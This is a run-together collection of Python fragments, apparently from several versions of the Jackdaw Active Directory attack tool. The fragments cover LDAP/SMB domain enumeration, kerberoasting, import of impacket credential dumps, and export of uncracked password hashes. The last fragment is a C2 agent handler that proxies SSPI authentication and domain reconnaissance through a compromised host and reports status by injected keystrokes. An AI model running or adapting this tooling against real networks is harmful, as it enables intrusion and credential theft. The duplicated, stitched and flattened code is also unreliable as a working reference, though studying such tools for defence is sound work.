async def run(args): print(__banner__) if args.verbose == 0: logging.basicConfig(level=logging.INFO) jdlogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.WARNING) smblogger.setLevel(logging.CRITICAL) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) jdlogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.INFO) smblogger.setLevel(logging.INFO) elif args.verbose > 1: logging.basicConfig(level=1) msldaplogger.setLevel(logging.DEBUG) jdlogger.setLevel(1) smblogger.setLevel(1) if not args.sql: print( 'SQL connection identification is missing! You need to provide the --sql parameter' ) sys.exit() db_conn = args.sql if args.sql.lower().startswith('sqlite'): os.environ['JACKDAW_SQLITE'] = '1' if args.command == 'enum': smb_mgr = construct_smbdef(args) ldap_mgr = construct_ldapdef(args) mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=args.ldap_workers) adifo_id = await mgr.run() jdlogger.info('ADInfo entry successfully created with ID %s' % adifo_id) mgr = SMBGathererManager(smb_mgr, worker_cnt=args.smb_workers, queue_size=args.smb_queue_size) mgr.gathering_type = ['all'] mgr.db_conn = db_conn mgr.target_ad = adifo_id await mgr.run() if args.smb_share_enum is True: settings_base = SMBShareGathererSettings(adifo_id, smb_mgr, None, None, None) settings_base.dir_depth = args.smb_folder_depth mgr = ShareGathererManager(settings_base, db_conn=db_conn, worker_cnt=args.smb_workers) mgr.run() elif args.command == 'dbinit': create_db(db_conn) elif args.command == 'adinfo': session = get_session(db_conn) from jackdaw.dbmodel.adinfo import JackDawADInfo from jackdaw.utils.table import print_table rows = [['Ad ID', 'domain name', 'scantime']] for did, distinguishedName, creation in session.query( JackDawADInfo).with_entities(JackDawADInfo.id, JackDawADInfo.distinguishedName, JackDawADInfo.fetched_at).all(): name = distinguishedName.replace('DC=', '') name = name.replace(',', '.') rows.append([str(did), name, creation.isoformat()]) print_table(rows) elif args.command == 'ldap': ldap_mgr = construct_ldapdef(args) ldap_conn = ldap_mgr.get_client() mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=args.ldap_workers, queue_size=args.ldap_queue_size, ad_id=args.ad_id) adifo_id = await mgr.run() jdlogger.info('ADInfo entry successfully created with ID %s' % adifo_id) elif args.command in ['shares', 'sessions', 'localgroups', 'smball']: if args.command == 'smball': args.command = 'all' smb_mgr = construct_smbdef(args) mgr = SMBGathererManager(smb_mgr, worker_cnt=args.smb_workers, queue_size=args.smb_queue_size) mgr.gathering_type = [args.command] mgr.db_conn = db_conn mgr.lookup_ad = args.lookup_ad if args.ldap_url: ldap_mgr = construct_ldapdef(args) ldap_conn = ldap_mgr.get_client() mgr.ldap_conn = ldap_conn if args.ad_id: mgr.target_ad = args.ad_id if args.target_file: mgr.targets_file = args.target_file await mgr.run() elif args.command == 'files': if args.src == 'domain': if not args.ad_id: raise Exception('ad-id parameter is mandatory in ldap mode') mgr = SMBConnectionURL(args.smb_url) settings_base = SMBShareGathererSettings(args.ad_id, mgr, None, None, None) settings_base.dir_depth = args.smb_folder_depth settings_base.dir_with_sd = args.with_sid settings_base.file_with_sd = args.with_sid mgr = ShareGathererManager(settings_base, db_conn=db_conn, worker_cnt=args.smb_workers) mgr.run() # elif args.src == 'file': # if not args.target_file: # raise Exception('target-file parameter is mandatory in file mode') # # args.target_file # args.lookup_ad # args.with_sid # args.smb_workers # # elif args.src == 'ldap': # if not args.ldap_url: # raise Exception('ldap-url parameter is mandatory in ldap mode') # args.lookup_ad # args.with_sid # args.smb_workers # # # # elif args.src == 'cmd': elif args.command == 'creds': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.add_credentials_impacket(args.impacket_file) elif args.command == 'passwords': creds = JackDawCredentials(args.db_conn) creds.add_cracked_passwords(args.potfile, args.disable_usercheck, args.disable_passwordcheck) elif args.command == 'uncracked': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.get_uncracked_hashes(args.hash_type, args.history) elif args.command == 'cracked': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.get_cracked_info() elif args.command == 'nest': from jackdaw.nest.wrapper import NestServer debug = bool(args.verbose) server = NestServer(args.sql, bind_ip=args.ip, bind_port=args.port, debug=debug) server.run()
name = f.name x = f.name.rsplit('.', 1) if len(x) > 1: name = x[0] ext = x[1] nf.name = name nf.ext = ext self.db_session.add(nf) self.db_session.commit() self.db_session.refresh(nf) self.store_sd(f.sid, 'file', nf.id) #elif result.type == 'file': #if result is None and error is None: # logger.debug('Finished: %s' % target.ip) # if self.use_progress_bar is True: # self.prg_hosts.update() if __name__ == '__main__': db_conn = 'sqlite:///a.db' create_db(db_conn) smb_mgr = SMBConnectionURL( 'smb+ntlm-password://TEST\\victim:[email protected]') ad_id = 0 settings = SMBShareGathererSettings(ad_id, smb_mgr, None, None, None) ep = ShareGathererManager(settings, db_conn=db_conn, worker_cnt=30) ep.run() print('done!')
async def run_auto(ldap_worker_cnt=None, smb_worker_cnt=500, dns=None, work_dir='./workdir', db_conn=None, show_progress=True, no_work_dir=False): try: if platform.system() != 'Windows': raise Exception('auto mode only works on windows!') smblogger.setLevel(100) from winacl.functions.highlevel import get_logon_info logon = get_logon_info() jdlogger.debug(str(logon)) if logon['domain'] == '' or logon['logonserver'] == '': if logon['domain'] == '': logon['domain'] = os.environ['USERDOMAIN'] if logon['logonserver'] == '': logon['logonserver'] = os.environ['LOGONSERVER'].replace( '\\', '') if logon['domain'] == '' or logon['logonserver'] == '': return False, Exception( "Failed to find user's settings! Is this a domain user?") try: #checking connection can be made over ldap... reader, writer = await asyncio.wait_for( asyncio.open_connection(logon['logonserver'], 389), 2) writer.close() except: return False, Exception( "Failed to connect to server %s over LDAP" % (logon['logonserver'])) if db_conn is None: db_loc = '%s_%s.db' % (logon['domain'], datetime.datetime.utcnow(). strftime("%Y%m%d_%H%M%S")) db_conn = 'sqlite:///%s' % db_loc create_db(db_conn) ldap_url = 'ldap+sspi-ntlm://%s\\%s:jackdaw@%s' % ( logon['domain'], logon['username'], logon['logonserver']) smb_url = 'smb2+sspi-kerberos://%s\\%s:jackdaw@%s' % ( logon['domain'], logon['username'], logon['logonserver']) jdlogger.debug('LDAP connection: %s' % ldap_url) jdlogger.debug('SMB connection: %s' % smb_url) if dns is None: from jackdaw.gatherer.rdns.dnstest import get_correct_dns_win srv_domain = '%s.%s' % (logon['logonserver'], logon['dnsdomainname']) dns = await get_correct_dns_win(srv_domain) if dns is None: jdlogger.debug('Failed to identify DNS server!') else: dns = str(dns) jdlogger.debug('DNS server selected: %s' % str(dns)) kerb_url = 'auto' with multiprocessing.Pool() as mp_pool: gatherer = Gatherer(db_conn, work_dir, ldap_url, smb_url, kerb_url=kerb_url, ldap_worker_cnt=ldap_worker_cnt, smb_worker_cnt=smb_worker_cnt, mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=None, show_progress=show_progress, calc_edges=True, dns=dns, no_work_dir=no_work_dir) res, err = await gatherer.run() if err is not None: raise err return True, None except Exception as e: return False, e
async def run(args): try: if args.silent is True: print(__banner__) if args.verbose == 0: logging.basicConfig(level=logging.INFO) jdlogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.CRITICAL) smblogger.setLevel(100) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) jdlogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.WARNING) smblogger.setLevel(logging.CRITICAL) elif args.verbose > 1: logging.basicConfig(level=1) msldaplogger.setLevel(logging.DEBUG) jdlogger.setLevel(1) smblogger.setLevel(1) if not args.sql and args.command != 'auto': print( 'SQL connection identification is missing! You need to provide the --sql parameter' ) sys.exit() work_dir = './workdir' ldap_url = None smb_url = None if hasattr(args, 'ldap_url'): ldap_url = args.ldap_url if hasattr(args, 'smb_url'): smb_url = args.smb_url db_conn = args.sql if db_conn is not None: os.environ['JACKDAW_SQLITE'] = '0' if args.sql.lower().startswith('sqlite'): os.environ['JACKDAW_SQLITE'] = '1' else: os.environ['JACKDAW_SQLITE'] = '1' if args.command == 'enum': with multiprocessing.Pool() as mp_pool: gatherer = Gatherer(db_conn, work_dir, ldap_url, smb_url, kerb_url=args.kerberoast, ldap_worker_cnt=args.ldap_workers, smb_worker_cnt=args.smb_workers, mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=None, show_progress=args.silent, calc_edges=True, ad_id=None, dns=args.dns, no_work_dir=args.no_work_dir) res, err = await gatherer.run() if err is not None: raise err elif args.command == 'auto': _, err = await run_auto(ldap_worker_cnt=args.ldap_workers, smb_worker_cnt=args.smb_workers, dns=args.dns, work_dir=work_dir, show_progress=args.silent, no_work_dir=args.no_work_dir) if err is not None: print(err) elif args.command == 'dbinit': create_db(db_conn) elif args.command == 'adinfo': session = get_session(db_conn) from jackdaw.dbmodel.adinfo import ADInfo from jackdaw.utils.table import print_table rows = [['Ad ID', 'domain name', 'scantime']] for did, distinguishedName, creation in session.query( ADInfo).with_entities(ADInfo.id, ADInfo.distinguishedName, ADInfo.fetched_at).all(): name = distinguishedName.replace('DC=', '') name = name.replace(',', '.') rows.append([str(did), name, creation.isoformat()]) print_table(rows) elif args.command == 'ldap': with multiprocessing.Pool() as mp_pool: gatherer = Gatherer(db_conn, work_dir, ldap_url, smb_url, ldap_worker_cnt=args.ldap_workers, smb_worker_cnt=None, mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=None, show_progress=args.silent, calc_edges=args.calculate_edges, ad_id=args.ad_id, no_work_dir=args.no_work_dir) await gatherer.run() elif args.command == 'kerberoast': gatherer = Gatherer(db_conn, work_dir, None, None, kerb_url=args.kerberos_url, ldap_worker_cnt=None, smb_worker_cnt=None, mp_pool=None, smb_gather_types=[], progress_queue=None, show_progress=False, calc_edges=False, ad_id=args.ad_id) await gatherer.run() print('Kerberoast Finished!') elif args.command in ['shares', 'sessions', 'localgroups', 'smball']: if args.command == 'smball': args.command = 'all' gatherer = Gatherer( db_conn, work_dir, ldap_url, smb_url, ad_id=args.ad_id, ldap_worker_cnt=None, smb_worker_cnt=args.smb_workers, mp_pool=None, smb_gather_types=args.command, progress_queue=None, show_progress=args.silent, calc_edges=False, dns=args.dns, ) await gatherer.run() elif args.command == 'dns': gatherer = Gatherer( db_conn, work_dir, None, None, ad_id=args.ad_id, ldap_worker_cnt=None, smb_worker_cnt=None, mp_pool=None, smb_gather_types=None, progress_queue=None, show_progress=args.silent, calc_edges=False, dns=args.dns, ) await gatherer.run() elif args.command == 'version': print('Jackdaw version: %s' % jdversion) print('MSLDAP version : %s' % ldapversion) print('AIOSMB version : %s' % smbversion) elif args.command == 'files': raise Exception('not yet implemented!') #if args.src == 'domain': # if not args.ad_id: # raise Exception('ad-id parameter is mandatory in ldap mode') # # mgr = SMBConnectionURL(args.smb_url) # settings_base = SMBShareGathererSettings(args.ad_id, mgr, None, None, None) # settings_base.dir_depth = args.smb_folder_depth # settings_base.dir_with_sd = args.with_sid # settings_base.file_with_sd = args.with_sid # # mgr = ShareGathererManager(settings_base, db_conn = db_conn, worker_cnt = args.smb_workers) # mgr.run() elif args.command == 'creds': creds = JackDawCredentials(db_conn, args.domain_id) creds.add_credentials_impacket(args.impacket_file) elif args.command == 'passwords': creds = JackDawCredentials(db_conn) creds.add_cracked_passwords(args.potfile, args.disable_usercheck, args.disable_passwordcheck) elif args.command == 'uncracked': creds = JackDawCredentials(db_conn, args.domain_id) creds.get_uncracked_hashes(args.hash_type, args.history) elif args.command == 'cracked': creds = JackDawCredentials(db_conn, args.domain_id) creds.get_cracked_info() elif args.command == 'recalc': with multiprocessing.Pool() as mp_pool: gatherer = Gatherer(db_conn, work_dir, None, None, mp_pool=mp_pool, progress_queue=None, show_progress=args.silent, calc_edges=True, store_to_db=True, ad_id=None, graph_id=args.graphid) await gatherer.run() elif args.command == 'nest': from jackdaw.nest.wrapper import NestServer debug = bool(args.verbose) server = NestServer( args.sql, bind_ip=args.ip, bind_port=args.port, debug=debug, work_dir=args.work_dir, graph_backend=args.backend, ) server.run() elif args.command == 'ws': from jackdaw.nest.ws.server import NestWebSocketServer server = NestWebSocketServer(args.listen_ip, args.listen_port, args.sql, args.work_dir, args.backend, ssl_ctx=None) await server.run() elif args.command == 'bhimport': from jackdaw.utils.bhimport import BHImport print( 'DISCLAIMER! This feature is still beta! Bloodhound acquires way less data than Jackdaw therefore not all functionality will work after import. Any errors during import will be silently ignored, use "-vvv" verbosity level to see all errors.' ) bh = BHImport.from_zipfile(args.bhfile) bh.db_conn = db_conn if args.verbose > 1: bh.set_debug(True) bh.run() print('Import complete!') except Exception as e: jdlogger.exception('main')
def run(args): if args.verbose == 0: logging.basicConfig(level=logging.INFO) jdlogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.WARNING) smblogger.setLevel(logging.CRITICAL) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) jdlogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.INFO) smblogger.setLevel(logging.INFO) elif args.verbose > 1: logging.basicConfig(level=1) msldaplogger.setLevel(logging.DEBUG) jdlogger.setLevel(1) smblogger.setLevel(1) if not args.sql: print( 'SQL connection identification is missing! You need to provide the --sql parameter' ) sys.exit() db_conn = args.sql if args.command == 'enum': smb_mgr = construct_smbdef(args) ldap_mgr = construct_ldapdef(args) mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=args.ldap_workers) adifo_id = mgr.run() print('ADInfo entry successfully created with ID %s' % adifo_id) mgr = SMBGathererManager(smb_mgr, worker_cnt=args.smb_workers) mgr.gathering_type = ['all'] mgr.db_conn = db_conn mgr.target_ad = adifo_id mgr.run() elif args.command == 'dbinit': create_db(db_conn) elif args.command == 'adinfo': session = get_session(db_conn) from jackdaw.dbmodel.adinfo import JackDawADInfo from jackdaw.utils.table import print_table rows = [['Ad ID', 'domain name', 'scantime']] for did, distinguishedName, creation in session.query( JackDawADInfo).with_entities(JackDawADInfo.id, JackDawADInfo.distinguishedName, JackDawADInfo.fetched_at).all(): name = distinguishedName.replace('DC=', '') name = name.replace(',', '.') rows.append([str(did), name, creation.isoformat()]) print_table(rows) elif args.command == 'ldap': ldap_mgr = construct_ldapdef(args) ldap_conn = ldap_mgr.get_connection() ldap_conn.connect() mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=args.ldap_workers) adifo_id = mgr.run() print('ADInfo entry successfully created with ID %s' % adifo_id) elif args.command in ['shares', 'sessions', 'localgroups']: smb_mgr = construct_smbdef(args) mgr = SMBGathererManager(smb_mgr) mgr.gathering_type = [args.command] mgr.db_conn = db_conn mgr.lookup_ad = args.lookup_ad if args.ldap_url: ldap_mgr = construct_ldapdef(args) ldap_conn = ldap_mgr.get_connection() ldap_conn.connect() mgr.ldap_conn = ldap_conn if args.ad_id: mgr.target_ad = args.ad_id if args.target_file: mgr.targets_file = args.target_file mgr.run() elif args.command == 'creds': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.add_credentials_impacket(args.impacket_file) elif args.command == 'passwords': creds = JackDawCredentials(args.db_conn) creds.add_cracked_passwords(args.potfile, args.disable_usercheck, args.disable_passwordcheck) elif args.command == 'uncracked': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.get_uncracked_hashes(args.hash_type, args.history) elif args.command == 'cracked': creds = JackDawCredentials(args.db_conn, args.domain_id) creds.get_cracked_info() elif args.command == 'nest': from jackdaw.nest.wrapper import NestServer debug = bool(args.verbose) server = NestServer(args.sql, bind_ip=args.ip, bind_port=args.port, debug=debug) server.run()
async def __start_cmd(self, cmd): try: print('New agent connected to C2! Starting jackdaw...') print(cmd.to_dict()) progress_q = asyncio.Queue() progress_task = asyncio.create_task(self.print_progress(cmd.agentid.hex(), progress_q)) await self.ducky_q.put(self.duckysvc_event['AGENTCONNECTED']) wsproto = 'wsnetws' if self.c2_proto == 'ws' else 'wsnetwss' domain = cmd.domain username = cmd.username if username.find('\\') != -1: domain, username = username.split('\\') dns_url = 'dns://%s:53/?proxytype=%s&proxyhost=%s&proxyport=%s&proxyagentid=%s' % (cmd.logonserver, wsproto, self.c2_ip, self.c2_port, cmd.agentid.hex()) kerberos_url = '%s://%s:%s/?type=sspiproxy&agentid=%s' % (self.c2_proto, self.c2_ip, self.c2_port, cmd.agentid.hex()) params = 'authhost=%s&authport=%s&authagentid=%s&proxytype=%s&proxyhost=%s&proxyport=%s&proxyagentid=%s' % ( self.c2_ip, self.c2_port, cmd.agentid.hex(), wsproto, self.c2_ip, self.c2_port, cmd.agentid.hex()) smb_url = 'smb2+sspiproxy-ntlm://%s\\%s:aa@%s/?%s' % (domain, username, cmd.logonserver, params) ldap_url = 'ldap+sspiproxy-ntlm://%s\\%s:aa@%s/?%s' % (domain, username, cmd.logonserver, params) print('dns %s' % dns_url) print('kerberos %s' % kerberos_url) print('smb %s' % smb_url) print('ldap %s' % ldap_url) smb_workers = 10 ldap_workers = 4 loc_base = '%s_%s' % (datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"), cmd.agentid.hex()[:8]) p = pathlib.Path(self.workdir).joinpath('./workdir_' + loc_base) p.mkdir(parents=True, exist_ok=True) db_loc = '%s_%s.db' % (cmd.domain, loc_base) db_loc = p.joinpath(db_loc) print(db_loc) db_conn = 'sqlite:///%s' % db_loc create_db(db_conn) work_dir = str(p) print(work_dir) print(db_conn) await self.ducky_q.put(self.duckysvc_event['JDENUMSTART']) with multiprocessing.Pool() as mp_pool: gatherer = Gatherer( db_conn, work_dir, ldap_url, smb_url, kerb_url=kerberos_url, ldap_worker_cnt=ldap_workers, smb_worker_cnt=smb_workers, mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=progress_q, show_progress=False, calc_edges=True, ad_id=None, dns=dns_url, no_work_dir=False ) _, err = await gatherer.run() if err is not None: raise err print('%s Jackdaw finished sucsessfully!' % cmd.agentid.hex()[:8]) progress_task.cancel() await self.ducky_q.put(self.duckysvc_event['JDENUMFINISH']) web_port = self.get_web_port() ws_port = self.get_web_port() print('%s Starting webserver on port %s' % (cmd.agentid.hex()[:8], web_port)) websrv = WebServerProcess(db_conn, '0.0.0.0', web_port, work_dir, graph_backend = self.graph_backend) websrv.start() #checking if server is up now... own_ip = None while True: try: _, writer = await asyncio.open_connection('127.0.0.1', web_port) own_ip = writer.get_extra_info('sockname')[0] except: print('%s Could not connect to webserver, probably not ready yet' % cmd.agentid.hex()[:8]) await asyncio.sleep(1) else: print('%s Jackdaw server started!' % cmd.agentid.hex()[:8]) writer.close() break jd_url = 'http://%s:%s' % (own_ip, web_port) try: print('%s Asking server to load graph data to memory...' % cmd.agentid.hex()[:8]) async with aiohttp.ClientSession() as session: async with session.post('%s/graph?adids=1' % jd_url) as resp: if resp.status != 200: raise Exception('Loading graphid failed! Status: %s' % resp.status) await resp.text() except Exception as e: raise e print('%s WEB Service listening on port %s' % (cmd.agentid.hex()[:8], ws_port)) await self.ducky_q.put(self.duckysvc_event['JDSERVICESTART']) await self.ducky_q.put( [ 'STRING %s WEB listening on port %s' % (cmd.agentid.hex()[:8], ws_port), 'DELAY 1000', 'ENTER' ] ) server = NestWebSocketServer('127.0.0.1', ws_port, db_conn, work_dir, 'igraph', ssl_ctx = None) ws_task = asyncio.create_task(server.run()) await asyncio.sleep(0) while True: try: _, writer = await asyncio.open_connection('127.0.0.1', ws_port) own_ip = writer.get_extra_info('sockname')[0] except: print('%s Could not connect to ws server, probably not ready yet' % cmd.agentid.hex()[:8]) await asyncio.sleep(1) else: print('%s Jackdaw WS server started!' % cmd.agentid.hex()[:8]) writer.close() break print('%s WS Service listening on port %s' % (cmd.agentid.hex()[:8], ws_port)) await self.ducky_q.put( [ 'STRING %s WS Service listening on port %s' % (cmd.agentid.hex()[:8], ws_port), 'DELAY 1000', 'ENTER' ] ) await asyncio.sleep(1000) except Exception as e: print('%s Exception handling agent Reson: %s' % (cmd.agentid.hex()[:8], e)) await self.ducky_q.put( [ 'STRING %s Exception handling agent Reson: %s' % (cmd.agentid.hex()[:8], e), 'DELAY 1000', 'ENTER' ] )